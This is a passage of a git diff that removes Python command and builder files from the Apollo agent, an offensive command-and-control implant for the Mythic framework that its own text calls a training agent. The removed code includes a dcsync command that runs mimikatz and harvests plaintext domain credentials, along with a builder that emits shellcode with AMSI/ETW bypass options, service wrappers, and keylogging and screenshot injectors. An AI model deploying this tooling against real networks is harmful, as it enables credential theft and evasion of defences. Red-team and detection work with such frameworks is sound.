len(fileSearchResp.Files) == 0: - raise Exception(f"Failed to find matching file, was it deleted?") - - taskData.args.add_arg("assembly_name", fileSearchResp.Files[0].Filename) - taskData.args.remove_arg("assembly_file") - taskData.args.add_arg("assembly_id", fileSearchResp.Files[0].AgentFileId) - - if originalGroupNameIsDefault: - file_resp = await SendMythicRPCFileSearch(MythicRPCFileSearchMessage( - Filename=taskData.args.get_arg("assembly_name"), - TaskID=taskData.Task.ID, - MaxResults=1 - )) - if not file_resp.Success: - raise Exception(f"failed to find assembly: {file_resp.Error}") - if len(file_resp.Files) == 0: - raise Exception(f"no assembly by that name that's not deleted") - else: - taskData.args.add_arg("assembly_id", file_resp.Files[0].AgentFileId) - - response.DisplayParams = "-PID {} -Assembly {} -Arguments {}".format( - taskData.args.get_arg("pid"), - taskData.args.get_arg("assembly_name"), - taskData.args.get_arg("assembly_arguments") - ) - return response - - async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse: - resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True) - return resp diff --git a/Payload_Type/apollo/apollo/mythic/agent_functions/blockdlls.py b/Payload_Type/apollo/apollo/mythic/agent_functions/blockdlls.py deleted file mode 100644 index aeef063e..00000000 --- a/Payload_Type/apollo/apollo/mythic/agent_functions/blockdlls.py +++ /dev/null @@ -1,66 +0,0 @@ -from mythic_container.MythicCommandBase import * -import json - - -class BlockDllsArguments(TaskArguments): - - def __init__(self, command_line, **kwargs): - super().__init__(command_line, **kwargs) - self.args = [ - CommandParameter( - name="block", - cli_name="EnableBlock", - display_name="Block Non-Microsoft DLLs", - type=ParameterType.Boolean, - default_value=True, - description="Block non-Microsoft DLLs from being loaded.", - parameter_group_info=[ - ParameterGroupInfo( - required=False, - ui_position=1, - group_name="Default", - ) - ] - ), - ] - - async def parse_arguments(self): - if len(self.command_line) == 0: - raise Exception("No action given.") - if self.command_line[0] == "{": - self.load_args_from_json_string(self.command_line) - else: - cmd = self.command_line.strip().lower() - if cmd == "true" or cmd == "on": - self.add_arg("block", True, ParameterType.Boolean) - elif cmd == "false" or cmd == "off": - self.add_arg("block", False, ParameterType.Boolean) - else: - raise Exception("Invalid command line arguments for blockdlls.") - - -class BlockDllsCommand(CommandBase): - cmd = "blockdlls" - needs_admin = False - help_cmd = "blockdlls -block true|false" - description = "Block non-Microsoft DLLs from loading into sacrificial processes." - version = 3 - author = "@djhohnstein" - argument_class = BlockDllsArguments - attackmapping = ["T1055"] - - async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse: - response = PTTaskCreateTaskingMessageResponse( - TaskID=taskData.Task.ID, - Success=True, - ) - block = taskData.args.get_arg("block") - if block: - response.DisplayParams = "true" - else: - response.DisplayParams = "false" - return response - - async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse: - resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True) - return resp \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/mythic/agent_functions/builder.py b/Payload_Type/apollo/apollo/mythic/agent_functions/builder.py deleted file mode 100644 index a5d42803..00000000 --- a/Payload_Type/apollo/apollo/mythic/agent_functions/builder.py +++ /dev/null @@ -1,474 +0,0 @@ -import datetime -import time - -from mythic_container.PayloadBuilder import * -from mythic_container.MythicCommandBase import * -import os, fnmatch, tempfile, sys, asyncio -from distutils.dir_util import copy_tree -from mythic_container.MythicGoRPC.send_mythic_rpc_callback_next_checkin_range import * -import traceback -import shutil -import json -import pathlib -from mythic_container.MythicRPC import * - - -class Apollo(PayloadType): - name = "apollo" - file_extension = "exe" - author = "@djhohnstein, @its_a_feature_" - mythic_encrypts = True - supported_os = [ - SupportedOS.Windows - ] - semver = "2.4.9" - wrapper = False - wrapped_payloads = ["scarecrow_wrapper", "service_wrapper"] - note = """ -A fully featured .NET 4.0 compatible training agent. Version: {}. -NOTE: P2P Not compatible with v2.2 agents! -NOTE: v2.3.2+ has a different bof loader than 2.3.1 and are incompatible since their arguments are different - """.format(semver) - supports_dynamic_loading = True - shellcode_format_options = ["Binary", "Base64", "C", "Ruby", "Python", "Powershell", "C#", "Hex"] - shellcode_bypass_options = ["None", "Abort on fail", "Continue on fail"] - supports_multiple_c2_instances_in_build = False - supports_multiple_c2_in_build = False - c2_parameter_deviations = { - "http": { - "get_uri": C2ParameterDeviation(supported=False), - "query_path_name": C2ParameterDeviation(supported=False), - #"headers": C2ParameterDeviation(supported=True, dictionary_choices=[ - # DictionaryChoice(name="User-Agent", default_value="Hello", default_show=True), - # DictionaryChoice(name="HostyHost", default_show=False, default_value=""), - #]) - } - } - build_parameters = [ - BuildParameter( - name="output_type", - parameter_type=BuildParameterType.ChooseOne, - choices=["WinExe", "Shellcode", "Service", "Source"], - default_value="WinExe", - description="Output as shellcode, executable, sourcecode, or service.", - ui_position=1, - ), - BuildParameter( - name="shellcode_format", - parameter_type=BuildParameterType.ChooseOne, - choices=shellcode_format_options, - default_value="Binary", - description="Donut shellcode format options.", - group_name="Shellcode Options", - hide_conditions=[ - HideCondition(name="output_type", operand=HideConditionOperand.NotEQ, value="Shellcode") - ], - ui_position=4 - ), - BuildParameter( - name="shellcode_bypass", - parameter_type=BuildParameterType.ChooseOne, - choices=shellcode_bypass_options, - default_value="Continue on fail", - description="Donut shellcode AMSI/WLDP/ETW Bypass options.", - group_name="Shellcode Options", - hide_conditions=[ - HideCondition(name="output_type", operand=HideConditionOperand.NotEQ, value="Shellcode") - ], - ui_position=5 - ), - BuildParameter( - name="adjust_filename", - parameter_type=BuildParameterType.Boolean, - default_value=False, - description="Automatically adjust payload extension based on selected choices.", - ui_position=3, - ), - BuildParameter( - name="debug", - parameter_type=BuildParameterType.Boolean, - default_value=False, - description="Create a DEBUG version.", - ui_position=2, - ) - ] - c2_profiles = ["http", "smb", "tcp", "websocket"] - agent_path = pathlib.Path(".") / "apollo" / "mythic" - agent_code_path = pathlib.Path(".") / "apollo" / "agent_code" - agent_icon_path = agent_path / "agent_functions" / "apollo.svg" - build_steps = [ - BuildStep(step_name="Gathering Files", step_description="Copying files to temp location"), - BuildStep(step_name="Compiling", step_description="Compiling with nuget and dotnet"), - BuildStep(step_name="Donut", step_description="Converting to Shellcode"), - BuildStep(step_name="Creating Service", step_description="Creating Service EXE from Shellcode") - ] - - #async def command_help_function(self, msg: HelpFunctionMessage) -> HelpFunctionMessageResponse: - # return HelpFunctionMessageResponse(output=f"we did it!\nInput: {msg}", success=False) - - - async def build(self) -> BuildResponse: - # this function gets called to create an instance of your payload - resp = BuildResponse(status=BuildStatus.Error) - # debugging - # resp.status = BuildStatus.Success - # return resp - #end debugging - defines_commands_upper = ["#define EXIT"] - if self.get_parameter('debug'): - possibleCommands = await SendMythicRPCCommandSearch(MythicRPCCommandSearchMessage( - SearchPayloadTypeName="apollo", - )) - if possibleCommands.Success: - resp.updated_command_list = [c.Name for c in possibleCommands.Commands] - defines_commands_upper = [f"#define {x.upper()}" for x in resp.updated_command_list] - else: - defines_commands_upper = [f"#define {x.upper()}" for x in self.commands.get_commands()] - special_files_map = { - "Config.cs": { - "payload_uuid": self.uuid, - }, - } - extra_variables = { - - } - success_message = f"Apollo {self.uuid} Successfully Built" - stdout_err = "" - defines_profiles_upper = [] - compileType = "debug" if self.get_parameter('debug') else "release" - buildPath = "Debug" if self.get_parameter('debug') else "Release" - if len(set([info.get_c2profile()["is_p2p"] for info in self.c2info])) > 1: - resp.set_status(BuildStatus.Error) - resp.set_build_message("Cannot mix egress and P2P C2 profiles") - return resp - - for c2 in self.c2info: - profile = c2.get_c2profile() - defines_profiles_upper.append(f"#define {profile['name'].upper()}") - for key, val in c2.get_parameters_dict().items(): - prefixed_key = f"{profile['name'].lower()}_{key}" - - if isinstance(val, dict) and 'enc_key' in val: - if val["value"] == "none": - resp.set_status(BuildStatus.Error) - resp.set_build_message("Apollo does not support plaintext encryption") - return resp - - stdout_err += "Setting {} to {}".format(prefixed_key, val["enc_key"] if val["enc_key"] is not None else "") - - # TODO: Prefix the AESPSK variable and also make it specific to each profile - special_files_map["Config.cs"][key] = val["enc_key"] if val["enc_key"] is not None else "" - elif isinstance(val, str): - special_files_map["Config.cs"][prefixed_key] = val.replace("\\", "\\\\") - elif isinstance(val, bool): - if key == "encrypted_exchange_check" and not val: - resp.set_status(BuildStatus.Error) - resp.set_build_message(f"Encrypted exchange check needs to be set for the {profile['name']} C2 profile") - return resp - special_files_map["Config.cs"][prefixed_key] = "true" if val else "false" - elif isinstance(val, dict): - extra_variables = {**extra_variables, **val} - else: - special_files_map["Config.cs"][prefixed_key] = json.dumps(val) - try: - # make a temp directory for it to live - agent_build_path = tempfile.TemporaryDirectory(suffix=self.uuid) - # shutil to copy payload files over - copy_tree(str(self.agent_code_path), agent_build_path.name) - # first replace everything in the c2 profiles - for csFile in get_csharp_files(agent_build_path.name): - templateFile = open(csFile, "rb").read().decode() - templateFile = templateFile.replace("#define C2PROFILE_NAME_UPPER", "\n".join(defines_profiles_upper)) - templateFile = templateFile.replace("#define COMMAND_NAME_UPPER", "\n".join(defines_commands_upper)) - for specialFile in special_files_map.keys(): - if csFile.endswith(specialFile): - for key, val in special_files_map[specialFile].items(): - templateFile = templateFile.replace(key + "_here", val) - if specialFile == "Config.cs": - if len(extra_variables.keys()) > 0: - extra_data = "" - for key, val in extra_variables.items(): - extra_data += " { \"" + key + "\", \"" + val + "\" },\n" - templateFile = templateFile.replace("HTTP_ADDITIONAL_HEADERS_HERE", extra_data) - else: - templateFile = templateFile.replace("HTTP_ADDITIONAL_HEADERS_HERE", "") - with open(csFile, "wb") as f: - f.write(templateFile.encode()) - output_path = f"{agent_build_path.name}/{buildPath}/Apollo.exe" - if self.get_parameter('debug'): - command = f"dotnet build -c {compileType} -p:Platform=\"Any CPU\" -o {agent_build_path.name}/{buildPath}/" - else: - command = f"dotnet build -c {compileType} -p:DebugType=None -p:DebugSymbols=false -p:Platform=\"Any CPU\" -o {agent_build_path.name}/{buildPath}/" - #command = "rm -rf packages/*; nuget restore -NoCache -Force; msbuild -p:Configuration=Release -p:Platform=\"Any CPU\"" - await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage( - PayloadUUID=self.uuid, - StepName="Gathering Files", - StepStdout="Found all files for payload", - StepSuccess=True - )) - proc = await asyncio.create_subprocess_shell(command, stdout=asyncio.subprocess.PIPE, - stderr=asyncio.subprocess.PIPE, cwd=agent_build_path.name) - stdout, stderr = await proc.communicate() - if stdout: - stdout_err += f'\n[stdout]\n{stdout.decode()}\n' - if stderr: - stdout_err += f'[stderr]\n{stderr.decode()}' + "\n" + command - - if os.path.exists(output_path): - await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage( - PayloadUUID=self.uuid, - StepName="Compiling", - StepStdout="Successfully compiled payload", - StepSuccess=True - )) - resp.status = BuildStatus.Success - targetExeAsmPath = "/srv/ExecuteAssembly.exe" - targetPowerPickPath = "/srv/PowerShellHost.exe" - targetScreenshotInjectPath = "/srv/ScreenshotInject.exe" - targetKeylogInjectPath = "/srv/KeylogInject.exe" - targetExecutePEPath = "/srv/ExecutePE.exe" - targetInteropPath = "/srv/ApolloInterop.dll" - shutil.move(f"{agent_build_path.name}/{buildPath}/ExecuteAssembly.exe", targetExeAsmPath) - shutil.move(f"{agent_build_path.name}/{buildPath}/PowerShellHost.exe", targetPowerPickPath) - shutil.move(f"{agent_build_path.name}/{buildPath}/ScreenshotInject.exe", targetScreenshotInjectPath) - shutil.move(f"{agent_build_path.name}/{buildPath}/KeylogInject.exe", targetKeylogInjectPath) - shutil.move(f"{agent_build_path.name}/{buildPath}/ExecutePE.exe", targetExecutePEPath) - shutil.move(f"{agent_build_path.name}/{buildPath}/ApolloInterop.dll", targetInteropPath) - if self.get_parameter('output_type') == "Source": - shutil.make_archive(f"/tmp/{agent_build_path.name}/source", "zip", f"{agent_build_path.name}") - await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage( - PayloadUUID=self.uuid, - StepName="Donut", - StepStdout="Not converting to Shellcode through donut, passing through.", - StepSuccess=True - )) - resp.payload = open(f"/tmp/{agent_build_path.name}/source.zip", 'rb').read() - resp.build_message = success_message - resp.status = BuildStatus.Success - resp.build_stdout = stdout_err - resp.updated_filename = adjust_file_name(self.filename, - self.get_parameter("shellcode_format"), - self.get_parameter("output_type"), - self.get_parameter("adjust_filename")) - #need to cleanup zip folder - shutil.rmtree(f"/tmp/tmp") - elif self.get_parameter('output_type') == "WinExe": - await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage( - PayloadUUID=self.uuid, - StepName="Donut", - StepStdout="Not converting to Shellcode through donut, passing through.", - StepSuccess=True - )) - resp.payload = open(output_path, 'rb').read() - resp.build_message = success_message - resp.status = BuildStatus.Success - resp.build_stdout = stdout_err - resp.updated_filename = adjust_file_name(self.filename, - self.get_parameter("shellcode_format"), - self.get_parameter("output_type"), - self.get_parameter("adjust_filename")) - else: - shellcode_path = "{}/loader.bin".format(agent_build_path.name) - donutPath = os.path.abspath(self.agent_code_path / "donut") - command = "chmod 777 {}; chmod +x {}".format(donutPath, donutPath) - proc = await asyncio.create_subprocess_shell(command, stdout=asyncio.subprocess.PIPE, - stderr=asyncio.subprocess.PIPE) - stdout, stderr = await proc.communicate() - command = "{} -x3 -k2 -o loader.bin -i {}".format(donutPath, output_path) - if self.get_parameter('output_type') == "Shellcode": - command += f" -f{self.shellcode_format_options.index(self.get_parameter('shellcode_format')) + 1}" - command += f" -b{self.shellcode_bypass_options.index(self.get_parameter('shellcode_bypass')) + 1}" - # need to go through one more step to turn our exe into shellcode - proc = await asyncio.create_subprocess_shell(command, stdout=asyncio.subprocess.PIPE, - stderr=asyncio.subprocess.PIPE, - cwd=agent_build_path.name) - stdout, stderr = await proc.communicate() - - stdout_err += f'[stdout]\n{stdout.decode()}\n' - stdout_err += f'[stderr]\n{stderr.decode()}' - - if not os.path.exists(shellcode_path): - await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage( - PayloadUUID=self.uuid, - StepName="Donut", - StepStdout=f"Failed to pass through donut:\n{command}\n{stdout_err}", - StepSuccess=False - )) - resp.build_message = "Failed to create shellcode" - resp.status = BuildStatus.Error - resp.payload = b"" - resp.build_stderr = stdout_err - else: - await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage( - PayloadUUID=self.uuid, - StepName="Donut", - StepStdout=f"Successfully passed through donut:\n{command}", - StepSuccess=True - )) - if self.get_parameter('output_type') == "Shellcode": - resp.payload = open(shellcode_path, 'rb').read() - resp.build_message = success_message - resp.status = BuildStatus.Success - resp.build_stdout = stdout_err - resp.updated_filename = adjust_file_name(self.filename, - self.get_parameter("shellcode_format"), - self.get_parameter("output_type"), - self.get_parameter("adjust_filename")) - else: - # we're generating a service executable - working_path = ( - pathlib.PurePath(agent_build_path.name) - / "Service" - / "WindowsService1" - / "Resources" - / "loader.bin" - ) - shutil.move(shellcode_path, working_path) - if self.get_parameter('debug'): - command = f"dotnet build -c {compileType} -p:OutputType=WinExe -p:Platform=\"Any CPU\"" - else: - command = f"dotnet build -c {compileType} -p:DebugType=None -p:DebugSymbols=false -p:OutputType=WinExe -p:Platform=\"Any CPU\"" - proc = await asyncio.create_subprocess_shell( - command, - stdout=asyncio.subprocess.PIPE, - stderr=asyncio.subprocess.PIPE, - cwd=pathlib.PurePath(agent_build_path.name) / "Service", - ) - stdout, stderr = await proc.communicate() - if stdout: - stdout_err += f"[stdout]\n{stdout.decode()}" - if stderr: - stdout_err += f"[stderr]\n{stderr.decode()}" - output_path = ( - pathlib.PurePath(agent_build_path.name) - / "Service" - / "WindowsService1" - / "bin" - / f"{buildPath}" - / "net451" - / "WindowsService1.exe" - ) - output_path = str(output_path) - if os.path.exists(output_path): - resp.payload = open(output_path, "rb").read() - resp.status = BuildStatus.Success - resp.build_message = "New Service Executable created!" - await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage( - PayloadUUID=self.uuid, - StepName="Creating Service", - StepStdout=stdout_err, - StepSuccess=True - )) - resp.updated_filename = adjust_file_name(self.filename, - self.get_parameter("shellcode_format"), - self.get_parameter("output_type"), - self.get_parameter("adjust_filename")) - else: - resp.payload = b"" - resp.status = BuildStatus.Error - resp.build_stderr = stdout_err + "\n" + output_path - await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage( - PayloadUUID=self.uuid, - StepName="Creating Service", - StepStdout=stdout_err, - StepSuccess=False - )) - - else: - # something went wrong, return our errors - await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage( - PayloadUUID=self.uuid, - StepName="Compiling", - StepStdout=stdout_err, - StepSuccess=False - )) - resp.status = BuildStatus.Error - resp.payload = b"" - resp.build_message = "Unknown error while building payload. Check the stderr for this build." - resp.build_stderr = stdout_err - except Exception as e: - resp.payload = b"" - resp.status = BuildStatus.Error - resp.build_message = "Error building payload: " + str(traceback.format_exc()) - #await asyncio.sleep(10000) - return resp - - async def check_if_callbacks_alive(self, - message: PTCheckIfCallbacksAliveMessage) -> PTCheckIfCallbacksAliveMessageResponse: - response = PTCheckIfCallbacksAliveMessageResponse(Success=True) - for callback in message.Callbacks: - if callback.SleepInfo == "": - continue # can't do anything if we don't know the expected sleep info of the agent - try: - sleep_info = json.loads(callback.SleepInfo) - except Exception as e: - continue - atLeastOneCallbackWithinRange = False - try: - for activeC2, info in sleep_info.items(): - if activeC2 == "websocket" and callback.LastCheckin == "1970-01-01 00:00:00Z": - atLeastOneCallbackWithinRange = True - continue - checkinRangeResponse = await SendMythicRPCCallbackNextCheckinRange( - MythicRPCCallbackNextCheckinRangeMessage( - LastCheckin=callback.LastCheckin, - SleepJitter=info["jitter"], - SleepInterval=info["interval"], - )) - if not checkinRangeResponse.Success: - continue - lastCheckin = datetime.datetime.strptime(callback.LastCheckin, '%Y-%m-%dT%H:%M:%S.%fZ') - minCheckin = datetime.datetime.strptime(checkinRangeResponse.Min, '%Y-%m-%dT%H:%M:%S.%fZ') - maxCheckin = datetime.datetime.strptime(checkinRangeResponse.Max, '%Y-%m-%dT%H:%M:%S.%fZ') - if minCheckin <= lastCheckin <= maxCheckin: - atLeastOneCallbackWithinRange = True - response.Callbacks.append(PTCallbacksToCheckResponse( - ID=callback.ID, - Alive=atLeastOneCallbackWithinRange, - )) - except Exception as e: - logger.info(e) - logger.info(callback.to_json()) - return response - - -def get_csharp_files(base_path: str) -> list[str]: - results = [] - for root, dirs, files in os.walk(base_path): - for name in files: - if fnmatch.fnmatch(name, "*.cs"): - results.append(os.path.join(root, name)) - if len(results) == 0: - raise Exception("No payload files found with extension .cs") - return results - - -def adjust_file_name(filename, shellcode_format, output_type, adjust_filename): - if not adjust_filename: - return filename - filename_pieces = filename.split(".") - original_filename = ".".join(filename_pieces[:-1]) - if output_type == "WinExe": - return original_filename + ".exe" - elif output_type == "Service": - return original_filename + ".exe" - elif output_type == "Source": - return original_filename + ".zip" - elif shellcode_format == "Binary": - return original_filename + ".bin" - elif shellcode_format == "Base64": - return original_filename + ".txt" - elif shellcode_format == "C": - return original_filename + ".c" - elif shellcode_format == "Ruby": - return original_filename + ".rb" - elif shellcode_format == "Python": - return original_filename + ".py" - elif shellcode_format == "Powershell": - return original_filename + ".ps1" - elif shellcode_format == "C#": - return original_filename + ".cs" - elif shellcode_format == "Hex": - return original_filename + ".txt" - else: - return filename diff --git a/Payload_Type/apollo/apollo/mythic/agent_functions/cat.py b/Payload_Type/apollo/apollo/mythic/agent_functions/cat.py deleted file mode 100644 index d5c07c86..00000000 --- a/Payload_Type/apollo/apollo/mythic/agent_functions/cat.py +++ /dev/null @@ -1,51 +0,0 @@ -from mythic_container.MythicCommandBase import * -import json - - -class CatArguments(TaskArguments): - - def __init__(self, command_line, **kwargs): - super().__init__(command_line, **kwargs) - self.args = [ - CommandParameter( - name="path", - cli_name="Path", - display_name="Path to File", - type=ParameterType.String, - description="File to read."), - ] - - async def parse_arguments(self): - if len(self.command_line) == 0: - raise Exception("Require file path to retrieve contents for.\n\tUsage: {}".format(CatCommand.help_cmd)) - if self.command_line[0] == "{": - self.load_args_from_json_string(self.command_line) - else: - if self.command_line[0] == '"' and self.command_line[-1] == '"': - self.command_line = self.command_line[1:-1] - elif self.command_line[0] == "'" and self.command_line[-1] == "'": - self.command_line = self.command_line[1:-1] - self.add_arg("path", self.command_line) - -class CatCommand(CommandBase): - cmd = "cat" - needs_admin = False - help_cmd = "cat [file]" - description = "Print the contents of a file specified by [file]" - version = 2 - supported_ui_features = ["cat"] - author = "@djhohnstein" - argument_class = CatArguments - attackmapping = ["T1005", "T1039", "T1025"] - - async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse: - response = PTTaskCreateTaskingMessageResponse( - TaskID=taskData.Task.ID, - Success=True, - ) - response.DisplayParams = taskData.args.get_arg("path") - return response - - async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse: - resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True) - return resp \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/mythic/agent_functions/cd.py b/Payload_Type/apollo/apollo/mythic/agent_functions/cd.py deleted file mode 100644 index f59563c3..00000000 --- a/Payload_Type/apollo/apollo/mythic/agent_functions/cd.py +++ /dev/null @@ -1,54 +0,0 @@ -from mythic_container.MythicCommandBase import * -import json - - -class CdArguments(TaskArguments): - - - def __init__(self, command_line, **kwargs): - super().__init__(command_line, **kwargs) - self.args = [ - CommandParameter( - name="path", - cli_name="Path", - display_name="Path to Directory", - type=ParameterType.String, - description="Directory to change to."), - ] - - - - async def parse_arguments(self): - if len(self.command_line) == 0: - raise Exception("Require path to change directory to.\nUsage:\n\t{}".format(CdCommand.help_cmd)) - if self.command_line[0] == "{": - self.load_args_from_json_string(self.command_line) - else: - if self.command_line[0] == '"' and self.command_line[-1] == '"': - self.command_line = self.command_line[1:-1] - elif self.command_line[0] == "'" and self.command_line[-1] == "'": - self.command_line = self.command_line[1:-1] - self.add_arg("path", self.command_line) - - -class CdCommand(CommandBase): - cmd = "cd" - needs_admin = False - help_cmd = "cd [path]" - description = "Change directory to [path]. Path relative identifiers such as ../ are accepted." - version = 2 - author = "@djhohnstein" - argument_class = CdArguments - attackmapping = ["T1083"] - - async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse: - response = PTTaskCreateTaskingMessageResponse( - TaskID=taskData.Task.ID, - Success=True, - ) - response.DisplayParams = taskData.args.get_arg("path") - return response - - async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse: - resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True) - return resp \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/mythic/agent_functions/cp.py b/Payload_Type/apollo/apollo/mythic/agent_functions/cp.py deleted file mode 100644 index 30e2d1b9..00000000 --- a/Payload_Type/apollo/apollo/mythic/agent_functions/cp.py +++ /dev/null @@ -1,94 +0,0 @@ -from mythic_container.MythicCommandBase import * -import json - - -class CpArguments(TaskArguments): - def __init__(self, command_line, **kwargs): - super().__init__(command_line, **kwargs) - self.args = [ - CommandParameter( - name="source", - cli_name="Path", - display_name="Source file to copy.", - type=ParameterType.String, - description="Source file to copy.", - parameter_group_info=[ParameterGroupInfo(required=True, ui_position=0)], - ), - CommandParameter( - name="destination", - cli_name="Destination", - display_name="Destination path.", - type=ParameterType.String, - description="Where the new file will be created.", - parameter_group_info=[ParameterGroupInfo(required=True, ui_position=1)], - ), - ] - - def split_commandline(self): - if self.command_line[0] == "{": - raise Exception( - "split_commandline expected string, but got JSON object: " - + self.command_line - ) - inQuotes = False - curCommand = "" - cmds = [] - for x in range(len(self.command_line)): - c = self.command_line[x] - if c == '"' or c == "'": - inQuotes = not inQuotes - if not inQuotes and c == " ": - cmds.append(curCommand) - curCommand = "" - else: - curCommand += c - - if curCommand != "": - cmds.append(curCommand) - - for x in range(len(cmds)): - if cmds[x][0] == '"' and cmds[x][-1] == '"': - cmds[x] = cmds[x][1:-1] - elif cmds[x][0] == "'" and cmds[x][-1] == "'": - cmds[x] = cmds[x][1:-1] - - return cmds - - async def parse_arguments(self): - if self.command_line[0] == "{": - self.load_args_from_json_string(self.command_line) - else: - cmds = self.split_commandline() - if len(cmds) != 2: - raise Exception( - "Invalid number of arguments given. Expected two, but received: {}\n\tUsage: {}".format( - cmds, CpCommand.help_cmd - ) - ) - self.add_arg("source", cmds[0]) - self.add_arg("destination", cmds[1]) - - -class CpCommand(CommandBase): - cmd = "cp" - needs_admin = False - help_cmd = "cp [source] [dest]" - description = "Copy a file from one location to another." - version = 2 - author = "@djhohnstein" - argument_class = CpArguments - attackmapping = ["T1570"] - - async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse: - response = PTTaskCreateTaskingMessageResponse( - TaskID=taskData.Task.ID, - Success=True, - ) - response.DisplayParams = "-Source {} -Destination {}".format( - taskData.args.get_arg("source"), taskData.args.get_arg("destination") - ) - return response - - async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse: - resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True) - return resp diff --git a/Payload_Type/apollo/apollo/mythic/agent_functions/dcsync.py b/Payload_Type/apollo/apollo/mythic/agent_functions/dcsync.py deleted file mode 100644 index a9a6dae5..00000000 --- a/Payload_Type/apollo/apollo/mythic/agent_functions/dcsync.py +++ /dev/null @@ -1,147 +0,0 @@ -from mythic_container.MythicCommandBase import * -from os import path -from mythic_container.MythicRPC import * -import mslex -from .execute_pe import * - - -class DcSyncArguments(TaskArguments): - - def __init__(self, command_line, **kwargs): - super().__init__(command_line, **kwargs) - self.args = [ - CommandParameter( - name="domain", - cli_name="Domain", - display_name="Domain", - type=ParameterType.String, - description="Domain to sync credentials from.", - parameter_group_info=[ParameterGroupInfo(ui_position=1, required=True)], - ), - CommandParameter( - name="user", - cli_name="User", - display_name="User", - default_value="all", - type=ParameterType.String, - description="Username to sync. Defaults to all.", - parameter_group_info=[ - ParameterGroupInfo(ui_position=2, required=False) - ], - ), - CommandParameter( - name="dc", - cli_name="DC", - display_name="DC", - type=ParameterType.String, - description="Domain controller to sync credential material from.", - parameter_group_info=[ - ParameterGroupInfo(ui_position=3, required=False) - ], - ), - ] - - async def parse_arguments(self): - if len(self.command_line) and self.command_line[0] == "{": - self.load_args_from_json_string(self.command_line) - - arguments = "/domain:{}".format(self.get_arg("domain")) - - if self.get_arg("dc"): - arguments += " /dc:{}".format(self.get_arg("dc")) - if self.get_arg("user") != "all": - arguments += " /user:{}".format(self.get_arg("user")) - else: - arguments += " /all" - - self.add_arg("arguments", arguments) - else: - raise Exception( - "No mimikatz command given to execute.\n\tUsage: {}".format( - DcSyncCommand.help_cmd - ) - ) - - -async def parse_credentials_dcsync( - task: PTTaskCompletionFunctionMessage, -) -> PTTaskCompletionFunctionMessageResponse: - response = PTTaskCompletionFunctionMessageResponse( - Success=True, TaskStatus="success", Completed=True - ) - responses = await SendMythicRPCResponseSearch( - MythicRPCResponseSearchMessage(TaskID=task.TaskData.Task.ID) - ) - for output in responses.Responses: - mimikatz_out = str(output.Response) - comment = "task {}".format(output.TaskID) - if mimikatz_out != "": - lines = mimikatz_out.split("\r\n") - - for i in range(len(lines)): - line = lines[i] - if "Username" in line: - # Check to see if Password is null - if i + 2 >= len(lines): - break - uname = line.split(" : ")[1].strip() - realm = lines[i + 1].split(" : ")[1].strip() - passwd = lines[i + 2].split(" : ")[1].strip() - if passwd != "(null)": - cred_resp = await MythicRPC().execute( - "create_credential", - task_id=task.TaskData.Task.ID, - credential_type="plaintext", - account=uname, - realm=realm, - credential=passwd, - comment=comment, - ) - if cred_resp.status != MythicStatus.Success: - raise Exception("Failed to register credential") - return response - - -class DcSyncCommand(CommandBase): - cmd = "dcsync" - attributes = CommandAttributes(dependencies=["execute_pe"], alias=True) - needs_admin = False - help_cmd = "dcsync -Domain [domain] -User [user]" - description = "Sync a user's Kerberos keys to the local machine." - version = 4 - author = "@djhohnstein" - argument_class = DcSyncArguments - attackmapping = ["T1003.006"] - script_only = False - completion_functions = {"parse_credentials_dcsync": parse_credentials_dcsync} - - async def create_go_tasking( - self, taskData: PTTaskMessageAllData - ) -> PTTaskCreateTaskingMessageResponse: - - arguments = taskData.args.get_arg("arguments") - - arguments = "lsadump::dcsync " + arguments - executePEArgs = ExecutePEArguments(command_line=json.dumps({ - "pe_name": "mimikatz.exe", - "pe_arguments": mslex.quote(arguments, for_cmd = False), - })) - await executePEArgs.parse_arguments() - executePECommand = ExecutePECommand(agent_path=self.agent_code_path, - agent_code_path=self.agent_code_path, - agent_browserscript_path=self.agent_browserscript_path) - # set our taskData args to be the new ones for execute_pe - taskData.args = executePEArgs - # executePE's creat_go_tasking function returns a response for us - newResp = await executePECommand.create_go_tasking(taskData=taskData) - # update the response to make sure this gets pulled down as execute_pe instead of mimikatz - newResp.CommandName = "execute_pe" - newResp.DisplayParams = arguments - newResp.CompletionFunctionName = "parse_credentials_dcsync" - return newResp - - async def process_response( - self, task: PTTaskMessageAllData, response: any - ) -> PTTaskProcessResponseMessageResponse: - resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True) - return resp diff --git a/Payload_Type/apollo/apollo/mythic/agent_functions/download.py b/Payload_Type/apollo/apollo/mythic/agent_functions/download.py deleted file mode 100644 index 